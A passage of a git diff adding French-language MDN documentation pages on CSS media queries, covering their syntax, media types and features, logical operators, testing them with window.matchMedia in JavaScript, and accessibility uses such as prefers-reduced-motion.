+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.image.gradient.repeating-radial-gradient")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Utiliser les gradients CSS</a></li>
+ <li>{{cssxref("repeating-linear-gradient")}}</li>
+ <li>{{cssxref("radial-gradient")}}</li>
+ <li>{{cssxref("repeating-linear-gradient")}}</li>
+ <li>{{cssxref("conic-gradient")}}</li>
+ <li>{{cssxref("repeating-conic-gradient")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/fr/web/css/requêtes_média/index.html b/files/fr/web/css/requêtes_média/index.html
new file mode 100644
index 0000000000..58c6cdc73e
--- /dev/null
+++ b/files/fr/web/css/requêtes_média/index.html
@@ -0,0 +1,86 @@
+---
+title: Media queries
+slug: Web/CSS/Requêtes_média
+tags:
+  - Aperçu
+  - CSS
+  - CSS Media Queries
+  - Reference
+translation_of: Web/CSS/Media_Queries
+---
+<div>{{CSSRef}}</div>
+
+<p>Les requêtes média, plus souvent appelées <strong><em>media queries,</em></strong> sont un outil de <em>responsive design</em> qui permet d'adapter la feuille de style CSS en fonction de différents paramètres ou caractéristiques de l'appareil. Par exemple, on pourra appliquer différents styles si l'écran de l'appareil utilisé pour consulter le document est plus petit qu'une taille donnée ou si l'utilisateur tient son appareil en mode portrait ou paysage. La règle @ (ou <em>at-rule</em>) {{cssxref("@media")}} est utilisée afin d'appliquer les styles de façon conditionnelle.</p>
+
+<p>De plus, la syntaxe des requêtes média est également employée dans d'autres contextes, notamment l'attribut {{htmlattrxref("media", "source")}} de l'élément {{HTMLElement("source")}} qui permet de définir une chaîne de caractères contenant une requête média afin de choisir le fichier source utilisé pour une image grâce à l'élément HTML {{HTMLElement("picture")}}.</p>
+
+<p>De plus, la méthode du DOM {{domxref("Window.matchMedia()")}} peut être utilisée afin de tester le résultat d'une requête média pour la fenêtre courante. On peut également utiliser la méthode {{domxref("MediaQueryList.addListener()")}} afin de recevoir une notification lorsque l'état de la requête évolue. Grâce à cette fonctionnalité, un site ou une application peut réagir aux changements de configuration, d'orientation ou d'état.</p>
+
+<p>Vous pouvez en découvrir plus dans l'article <a href="/fr/docs/Web/CSS/Requêtes_média/Tester_les_media_queries">Tester des requêtes media</a>.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Règles">Règles @</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Media_queries">Manipuler les requêtes média</a></dt>
+ <dd>Cet article présente les requêtes média, ce qu'elles font, et explique les différentes expressions qu'il est possible d'utiliser.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Media_Queries/Testing_media_queries">Tester les requêtes média</a></dt>
+ <dd>Cet article explique comment tester une requête média grâce à un programme JavaScript. On pourra par exemple déterminer l'état de l'appareil, mettre en place des gestionnaires d'évènements afin d'être notifié lorsque les résultats d'une requête média évoluent (par exemple lorsqu'un utilisateur tourne son appareil).</dd>
+ <dt><a href="/fr/docs/Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility">Utiliser des requêtes média pour l'accessibilité</a></dt>
+ <dd>Cet article explique comment les requêtes média peuvent être utilisées afin de rendre un site plus accessible.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS5 Media Queries')}}</td>
+   <td>{{Spec2('CSS5 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La règle-@ {{cssxref("@supports")}} afin d'appliquer une mise en forme srlon que l'agent utilisateur prend ou non en charge certaines technologies CSS.</li>
+</ul>
diff --git a/files/fr/web/css/requêtes_média/tester_les_media_queries/index.html b/files/fr/web/css/requêtes_média/tester_les_media_queries/index.html
new file mode 100644
index 0000000000..39539a5749
--- /dev/null
+++ b/files/fr/web/css/requêtes_média/tester_les_media_queries/index.html
@@ -0,0 +1,79 @@
+---
+title: Tester les requêtes média en JavaScript
+slug: Web/CSS/Requêtes_média/Tester_les_media_queries
+tags:
+  - Avancé
+  - CSS
+  - DOM
+  - Guide
+translation_of: Web/CSS/Media_Queries/Testing_media_queries
+---
+<div>{{CSSRef}}</div>
+
+<p>Le {{Glossary("DOM")}} fournit un certain nombre de fonctionnalités qui permettent de tester les résultats d'une requête média (<em>media query</em>) avec un script. Pour cela, on utilise l'interface {{domxref("MediaQueryList")}} ainsi que ses méthodes et ses propriétés. Une fois qu'on a créé un objet {{domxref("MediaQueryList") }}, on peut vérifier le résultat de la requête ou également recevoir des notifications automatiques lorsque le résultat de la requête change.</p>
+
+<h2 id="Créer_une_liste_de_requêtes_média">Créer une liste de requêtes média</h2>
+
+<p>Avant d'évaluer les résultats d'une requête, on doit créer un objet {{domxref("MediaQueryList")}} qui représente la requête média. Pour cela, on utilisera la méthode {{domxref("window.matchMedia")}}.</p>
+
+<p>Ainsi, si on veut avoir une liste de requête qui détermine si l'appareil utilisé est orienté en portrait ou en paysage, on pourra écrire :</p>
+
+<pre class="brush: js">var mql = window.matchMedia("(orientation: portrait)");
+</pre>
+
+<h2 id="Vérifier_le_résultat_d'une_requête">Vérifier le résultat d'une requête</h2>
+
+<p>Une fois que la liste de requêtes média a été créée, on peut vérifier le résultat de la requête grâce à la propriété <code>matches</code> qui représente les résultat de la requête :</p>
+
+<pre class="brush: js">if (mql.matches) {
+  /* La zone d'affichage/viewport est en portrait */
+} else {
+  /* La zone d'affichage/viewport est en paysage */
+}
+</pre>
+
+<h2 id="Recevoir_des_notifications_liées_à_la_requête">Recevoir des notifications liées à la requête</h2>
+
+<p>Afin de savoir lorsque l'évaluation d'une requête a changé, il sera plus efficace de déclarer un <em>listener</em> plutôt que d'interroger sans cesse le résultat. Pour cela, on pourra utiliser la méthode <code>addListener()</code> sur l'objet {{domxref("MediaQueryList")}} et définir un observateur qui implémente l'interface {{domxref("MediaQueryListListener")}} :</p>
+
+<pre class="brush: js">var mql = window.matchMedia("(orientation: portrait)");
+mql.addListener(handleOrientationChange);
+handleOrientationChange(mql);
+</pre>
+
+<p>Ce code crée la liste de requêtes média qui teste l'orientation (l'objet <code>mql</code>) puis ajoute un <em>listener</em>. Une fois qu'on a ajouté le <em>listener</em>, on l'invoque une fois. Cela permet d'ajuster l'état initial du <em>listener</em> selon l'orientation de l'appareil (sinon, le code aurait considéré que l'appareil était en portrait par défaut même si ce dernier était en paysage, ce qui aurait engendré des incohérences).</p>
+
+<p>La méthode <code>handleOrientationChange()</code> qu'on implémente ensuite consulte le résultat de la requête et gère le cas où l'orientation est modifiée :</p>
+
+<pre class="brush: js">function handleOrientationChange(mql) {
+  if (mql.matches) {
+    /* La zone d'affichage/viewport est en portrait */
+  } else {
+    /* La zone d'affichage/viewport est en paysage */
+  }
+}
+</pre>
+
+<h2 id="Terminer_la_réception_des_notifications">Terminer la réception des notifications</h2>
+
+<p>Lorsqu'on ne souhaite plus recevoir de notifications sur les modifications apportées à la valeur de la requête média, on pourra simplement utiliser <code>removeListener()</code> sur l'objet  {{domxref("MediaQueryList") }} :</p>
+
+<pre class="brush: js">mql.removeListener(handleOrientationChange);
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="Interface_MediaQueryList">Interface <code>MediaQueryList</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.MediaQueryList")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries" title="CSS/Media queries">Les requêtes média (<em>media queries</em>)</a></li>
+ <li>{{domxref("window.matchMedia()")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/requêtes_média/utilisation_requêtes_media_accessibilité/index.html b/files/fr/web/css/requêtes_média/utilisation_requêtes_media_accessibilité/index.html
new file mode 100644
index 0000000000..3ff2740bd8
--- /dev/null
+++ b/files/fr/web/css/requêtes_média/utilisation_requêtes_media_accessibilité/index.html
@@ -0,0 +1,96 @@
+---
+title: Utilisation des requêtes média pour l'accessibilité
+slug: Web/CSS/Requêtes_média/Utilisation_requêtes_media_accessibilité
+tags:
+  - '@media'
+  - Accessibilité
+  - CSS
+translation_of: Web/CSS/Media_Queries/Using_Media_Queries_for_Accessibility
+---
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/CSS/Requêtes_média/")}}</div>
+
+<p><strong>Les requêtes média (<em>media queries</em>)</strong> peuvent être utilisées afin d'améliorer l'accessibilité d'un site web.</p>
+
+<h2 id="Réduction_de_mouvement_-_prefers-reduced-motion">Réduction de mouvement - <code>prefers-reduced-motion</code></h2>
+
+<p>Le clignotement ou les animations rapides peuvent poser problème, notamment pour les personnes souffrant de troubles tels que le troubles de déficit de l'attention ou d'epilepsie, de migraines, etc.</p>
+
+<p>Cette méthode peut également améliorer l'expérience des utilisateurs en économisant l'énergie nécessaire à l'affichage de la page (avec une amélioration sensible pour les appareils avec une batterie faible ou qui ne sont pas particulièrement récents).</p>
+
+<h3 id="Syntaxe">Syntaxe</h3>
+
+<dl>
+ <dt><code><dfn>no-preference</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur n'a pas indiqué de préférence particulière dans le système.</dd>
+ <dt><code><dfn>reduce</dfn></code></dt>
+ <dd>Cette valeur indique que l'utilisateur a signalé au système qu'il préférait une interface minimisant la quantité de mouvement ou d'animation. Idéalement, tous les mouvements qui ne sont pas essentiles doivent être retirés.</dd>
+</dl>
+
+<h3 id="Exemple">Exemple</h3>
+
+<p>Cet exemple illustre comment éviter les animations inutiles en activant une préférence pour réduire les mouvements à l'écran.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="animation"&gt;animated box&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.animation {
+  -webkit-animation: vibrate 0.3s linear infinite both;
+  animation: vibrate 0.3s linear infinite both;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .animation {
+    animation: none;
+  }
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<h2 id="Mode_de_contraste_élevéNon-standard_inline">Mode de contraste élevé{{Non-standard_inline}}</h2>
+
+<p>La caractéristique média <code><strong>-ms-high-contrast</strong></code> est <a href="/en-US/docs/Web/CSS/Microsoft_extensions">spécifique à Microsoft</a> mais permet d'indiquer si l'application est affichée avec un mode de contraste élevé et, si c'est le cas, quelle variation de couleur est utilisée.</p>
+
+<p>Cela ne bénéficie pas seulement aux utilisateurs souffrant de troubles de la vision mais aussi aux personnes qui consultent le document avec une lumière ambiante importante (ex. sur un écran faiblement éclairé et en plein soleil).</p>
+
+<h3 id="Syntaxe_2">Syntaxe</h3>
+
+<p>La caractéristique média <strong><code>-ms-high-contrast</code></strong> peut être définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>active</code></dt>
+ <dd>
+ <p>Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé, quelle que soit la variation de couleurs.</p>
+ </dd>
+ <dt><code>black-on-white</code></dt>
+ <dd>
+ <p>Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé avec une dominante noir sur blanc.</p>
+ </dd>
+ <dt><code>white-on-black</code></dt>
+ <dd>
+ <p>Cette valeur indique que les règles suivantes seront appliquées lorsque le système utilise un mode de contraste élevé avec une dominante blanc sur noir.</p>
+ </dd>
+</dl>
+
+<h3 id="Exemple_2">Exemple</h3>
+
+<p>Les déclarations suivantes s'appliqueront respectivement aux applications qui sont affichées avec un mode de contraste élevé, quelle que soit la variation de couleur (1), avec une dominante noir sur blanc (2), avec une dominante blanc sur noir (3).</p>
+
+<pre class="brush: css">@media screen and (-ms-high-contrast: active) {
+  /* Toutes les règles appliquées en contraste élevé */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+  div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+  div { background-image: url('image-wb.png'); }
+}
+</pre>
diff --git a/files/fr/web/css/requêtes_média/utiliser_les_media_queries/index.html b/files/fr/web/css/requêtes_média/utiliser_les_media_queries/index.html
new file mode 100644
index 0000000000..4dc71551de
--- /dev/null
+++ b/files/fr/web/css/requêtes_média/utiliser_les_media_queries/index.html
@@ -0,0 +1,384 @@
+---
+title: Media queries
+slug: Web/CSS/Requêtes_média/Utiliser_les_Media_queries
+tags:
+  - Avancé
+  - CSS
+  - CSS3
+  - Guide
+  - Media Queries
+  - Requêtes média
+  - Responsive Design
+translation_of: Web/CSS/Media_Queries/Using_media_queries
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les requêtes média (<em>media queries</em>)</strong> permettent de modifier l'apparence d'un site ou d'une application en fonction du type d'appareil (impression ou écran par exemple) et de ses caractéristiques (la résolution d'écran ou la largeur de la zone d'affichage (<em>viewport</em>) par exemple).</p>
+
+<p>Les requêtes média sont utilisées afin :</p>
+
+<ul>
+ <li>D'appliquer certains styles de façon conditionnelle grâce <a href="/fr/docs/Web/CSS/R%C3%A8gles_@">aux règles @</a> {{cssxref("@media")}} et {{cssxref("@import")}}<a href="/fr/docs/Web/CSS/At-rule">.</a></li>
+ <li>De cibler certains médias pour les éléments {{HTMLElement("style")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}} et d'autres éléments <a href="/fr/docs/Web/HTML">HTML</a> grâce à l'attribut <code>media=</code>.</li>
+ <li>De <a href="/fr/docs/Web/CSS/Requêtes_média/Tester_les_media_queries">tester et surveiller l'état d'un média</a> grâce aux méthodes {{domxref("Window.matchMedia()")}} et {{domxref("MediaQueryList.addListener()")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Les exemples de cet article utilisent <code>@media</code> à des fins d'illustration. Toutefois, la syntaxe est la même pour les différents types de requêtes média.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une requête média se compose d'un <em>type de média</em> optionnel et d'une ou plusieurs expressions de <em>caractéristiques de média</em>. Plusieurs requêtes peuvent être combinées entre elles grâce à des opérateurs logiques. Les requêtes média ne sont pas sensibles à la casse.</p>
+
+<p>Une requête média vaut <code>true</code> si le type de média correspond à l'appareil utilisé pour l'affichage du document et si toutes les expressions relatives aux caractéristiques sont vraies. Les requêtes qui utilisent des types de média inconnus valent toujours <code>false</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Lorsqu'une feuille de style est attachée à un élément {{HTMLElement("link")}} comportant une requếte média, cette feuille de style <a href="http://scottjehl.github.com/CSS-Download-Tests/">sera toujours téléchargée</a>, même si la requête renvoie <code>false</code>. Toutefois, le contenu de cette feuille n'est pas appliquée tant que le résultat de la requête ne devient pas <code>true</code>.</p>
+</div>
+
+<h3 id="Types_de_média"><a id="types" name="types">Types de média</a></h3>
+
+<p>Un type de média définit une catégorie générale d'appareil. Le type de média est optionnel dans une requête média, sauf si celle-ci utilise les opérateurs logiques <code>not</code> ou <code>only</code>. Par défaut, le type de média utilisé est <code>all</code>.</p>
+
+<dl>
+ <dt><code id="all">all</code></dt>
+ <dd>Correspond pour tous les appareils.</dd>
+ <dt><code id="print">print</code></dt>
+ <dd>Correspond aux matériaux paginés et aux documents consultés en aperçu avant impression. Pour plus d'informations, voir l'article sur <a href="/fr/docs/Web/CSS/Média_paginés">les média paginés</a>.</dd>
+ <dt><code id="screen">screen</code></dt>
+ <dd>Correspond aux appareils dotés d'un écran.</dd>
+ <dt><code id="speech">speech</code></dt>
+ <dd>Correspond aux outils de synthèse vocale.</dd>
+</dl>
+
+<div class="note"><strong>Note : Les types de média dépréciés</strong> CSS2.1 et <a href="https://drafts.csswg.org/mediaqueries-3/#background">Media Queries 3</a> ont défini plusieurs types additionnels (<code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code>, and <code>aural</code>) qui ont ensuite été dépréciés avec <a href="http://dev.w3.org/csswg/mediaqueries/#media-types">Media Queries 4</a>. Ces types ne doivent donc plus être utilisés. Le type <code>aural</code> a été remplacé par le type <code>speech</code>.</div>
+
+<h3 id="Caractéristiques_média_media_features"><a id="caractéristiques" name="caractéristiques">Caractéristiques média (<em>media features</em>)</a></h3>
+
+<p>Les caractéristiques média décrivent certaines caractéristiques spécifiques de l'agent utilisateur, de l'appareil d'affichage ou de l'environnement. Les expressions de caractéristique média testent leur présence ou leur valeur. Chaque expression de caractéristique doit être entourée de parenthèses.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Nom</th>
+   <th>Résumé</th>
+   <th>Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("@media/width","width")}}</td>
+   <td>La largeur de la zone d'affichage (<em>viewport</em>)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/height","height")}}</td>
+   <td>La hauteur de la zone d'affichage</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/aspect-ratio","aspect-ratio")}}</td>
+   <td>Le rapport largeur/hauteur de la zone d'affichage</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/orientation","orientation")}}</td>
+   <td>L'orientation la zone d'affichage</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/resolution","resolution")}}</td>
+   <td>La densité de pixel pour l'appareil d'affichage</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/scan","scan")}}</td>
+   <td>Le processus de scan de l'appareil d'affichage</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/grid","grid")}}</td>
+   <td>Le type d'écran de l'appareil : matriciel ou grille ?</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/update-frequency","update")}}</td>
+   <td>La fréquence de modification du contenu par l'appareil d'affichage</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/overflow-block","overflow-block")}}</td>
+   <td>La façon dont l'appareil d'affichage gère le contenu qui dépasse de la zone d'affichage selon l'axe de bloc</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/overflow-inline","overflow-inline")}}</td>
+   <td>La possibilité de faire défiler (<em>scroll</em>) le contenu qui dépasse de la zone d'affichage sur l'axe en ligne</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/color","color")}}</td>
+   <td>Le nombre de bits pour chaque composante de couleur pour l'appareil d'affichage (ou 0 si l'appareil ne gère pas les couleurs)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/color-gamut","color-gamut")}}</td>
+   <td>Un intervalle approximatif des couleurs prises en charge par l'agent utilisateur et l'appareil d'affichage</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/color-index","color-index")}}</td>
+   <td>Le nombre d'éléments dans le tableau des couleurs de l'appareil d'affichage (ou 0 si l'appareil ne dispose pas d'un tel tableau)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/display-mode","display-mode")}}</td>
+   <td>Le mode d'affichage de l'application, tel qu'indiqué par la propriété <a href="/fr/docs/Web/Manifest#display"><code>display</code></a> du manifeste</td>
+   <td>Définie dans <a href="https://w3c.github.io/manifest/#the-display-mode-media-feature">la spécification pour les manifestes des applications web</a>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/monochrome","monochrome")}}</td>
+   <td>Le nombre de bits par pixel pour le <em>frame buffer</em> monochrome de l'appareil d'affichage ou 0 si l'appareil n'est pas monochrome</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/inverted-colors","inverted-colors")}}</td>
+   <td>L'inversion (ou non) des couleurs par l'agent utilisateur ou le système d'exploitation</td>
+   <td>Reportée au niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/pointer","pointer")}}</td>
+   <td>La présence d'un appareil de pointage comme mécanisme de saisie principal et sa précision</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/hover","hover")}}</td>
+   <td>La capacité du mécanisme de saisie principal à survoler les éléments</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/any-pointer","any-pointer")}}</td>
+   <td>La présence d'un appareil de pointage parmi les mécanismes de saisie et sa précision</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/any-hover","any-hover")}}</td>
+   <td>La capacité d'un des mécanismes de saisie à survoler les éléments</td>
+   <td>Ajoutée avec le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/light-level","light-level")}}</td>
+   <td>Le niveau de luminosité de l'environnement</td>
+   <td>Ajoutée avec le niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}}</td>
+   <td>L'utilisateur préfère que la quantité de mouvement sur la page soit réduite.</td>
+   <td>Ajoutée avec le niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-reduced-transparency", "prefers-reduced-transparency")}}</td>
+   <td>L'utilisateur préfère que la transparence utilisée sur la page soit réduite.</td>
+   <td>Ajoutée avec le niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-contrast", "prefers-contrast")}}</td>
+   <td>L'utilisateur préfère que la contraste soit augmenté ou réduit entre des couleurs proches.</td>
+   <td>Ajoutée avec le niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/prefers-color-scheme", "prefers-color-scheme")}}</td>
+   <td>L'utilisateur préfère utiliser un thème clair ou un thème sombre.</td>
+   <td>Ajoutée avec le niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/forced-colors", "forced-colors")}}</td>
+   <td>Détecte si l'agent utilisateur restreint la palette de couleurs.</td>
+   <td>Ajoutée avec le niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/scripting","scripting")}}</td>
+   <td>La disponibilité des fonctions de script (JavaScript par exemple)</td>
+   <td>Reportée au niveau 5 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/device-width","device-width")}} {{obsolete_inline}}</td>
+   <td>La largeur de la surface de rendu pour l'appareil d'affichage</td>
+   <td>Dépréciée par le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/device-height","device-height")}} {{obsolete_inline}}</td>
+   <td>La hauteur de la surface de rendu pour l'appareil d'affichage</td>
+   <td>Dépréciée par le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("@media/device-aspect-ratio","device-aspect-ratio")}} {{obsolete_inline}}</td>
+   <td>Le rapport largeur/hauteur de la surface de rendu pour l'appareil d'affichage</td>
+   <td>Dépréciée par le niveau 4 du module de spécification <em>Media Queries</em>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Opérateurs_logiques">Opérateurs logiques</h3>
+
+<p>Les opérateurs logiques <code>not</code>, <code>and</code> et <code>only</code> peuvent être utilisés afin de construire une requête média complexe. Il est aussi possible de combiner plusieurs requêtes média en les séparant par des virgules.</p>
+
+<h4 id="and"><code>and</code></h4>
+
+<p>L'opérateur <code>and</code> permet de combiner plusieurs requêtes média en une seule. Pour que la requête résultante soit vraie, il faut que chacune des sous-requêtes soit vraie. Cet opérateur est également utilisé afin de relier des caractéristiques média avec des types de média.</p>
+
+<h4 id="not"><code>not</code></h4>
+
+<p>L'opérateur <code>not</code> est utilisé afin d'obtenir le résultat opposé d'une requête média (il renvoie <code>true</code> si l'opérande renvoie <code>false</code>). S'il est utilisé dans une liste de requêtes séparées par des virgules, il ne nie que la requête sur laquelle il est appliqué. Si l'opérateur <code>not</code> est utilisé, la requête doit nécessairement contenir un type de média.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour la spécification de niveau 3, l'opérateur <code>not</code> ne peut pas être utilisé afin de prendre l'opposé d'une expression de caractéristique de média, il ne peut servir qu'à l'échelle d'une requête média entière.</p>
+</div>
+
+<h4 id="only"><code>only</code></h4>
+
+<p>L'opérateur <code>only</code> est utilisé afin d'appliquer un style uniquement si l'intégralité de la requête est vérifiée. Il permet d'empêcher les anciens navigateurs d'appliquer les styles concernés. Si on utilise pas <code>only</code>, un ancien navigateur interprètera <code>screen and (max-width: 500px)</code> comme <code>screen</code> uniquement (appliquant ainsi le style à tous les écrans). Si l'opérateur <code>only</code> est utilisé, la requête doit nécessairement contenir un type de média.</p>
+
+<h4 id="virgule"><code>,</code> (virgule)</h4>
+
+<p>Les virgules permettent de combiner plusieurs requêtes en une. Chaque requête est traitée séparément. Autrement dit, si une des requêtes de la liste renvoie <code>true</code>, toute la requête combinée renverra <code>true</code>. En ce sens, l'opérateur <code>,</code> agit comme un opérateur booléen <code>or</code>.</p>
+
+<h2 id="Cibler_des_types_de_média">Cibler des types de média</h2>
+
+<p>Les types de média décrivent la catégorie générale de l'appareil utilisé. Bien que la plupart des sites web soient principalement conçus pour être affichés sur des écrans, il est possibles d'avoir des styles spécifiques pour les impressions ou pour les lecteurs d'écran. Voici une requête qui permet de cibler les imprimantes ou autres appareils imprimant le contenu sur plusieurs pages :</p>
+
+<pre class="brush: css notranslate">@media print { ... }</pre>
+
+<p>Il est possible de cibler plusieurs types à la fois. La règle suivante permet de cibler les écrans et les appareils d'impression :</p>
+
+<pre class="brush: css notranslate">@media screen, print { ... }</pre>
+
+<p>Pour une liste complète des types de média, voir <a class="internal" href="#types">ci-avant</a>. Ces types étant très génériques, peu de valeurs sont disponibles. Afin d'avoir un ciblage plus fin, on pourra utiliser les caractéristiques média.</p>
+
+<h2 id="Cibler_des_caractéristiques_média">Cibler des caractéristiques média</h2>
+
+<p>Les caractéristiques média décrivent les caractéristiques spécifiques d'un agent utilisateur, d'un appareil d'affichage ou de l'environnement. On peut ainsi cibler différents styles pour les écrans larges, pour les ordinateurs qui disposent d'une souris ou pour les appareils utilisés dans une faible luminosité. Dans l'exemple qui suit, on a une requête qui vérifie si le mécanisme de saisie principal de l'appareil peut survoler les éléments :</p>
+
+<pre class="brush: css notranslate">@media (hover: hover) { ... }</pre>
+
+<p>De nombreuses caractéristiques média sont des caractéristiques portant sur un intervalle et peuvent être préfixées par <code>min-</code> ou <code>max-</code> afin d'exprimer des seuils de valeurs. Par exemple, la requête suivante permet d'appliquer des styles à condition que la largeur de la zone d'affichage (<em>viewport</em>) soit inférieure à 1250px :</p>
+
+<pre class="brush: css notranslate">@media (max-width: 1250px) { ... }</pre>
+
+<div class="blockIndicator note">
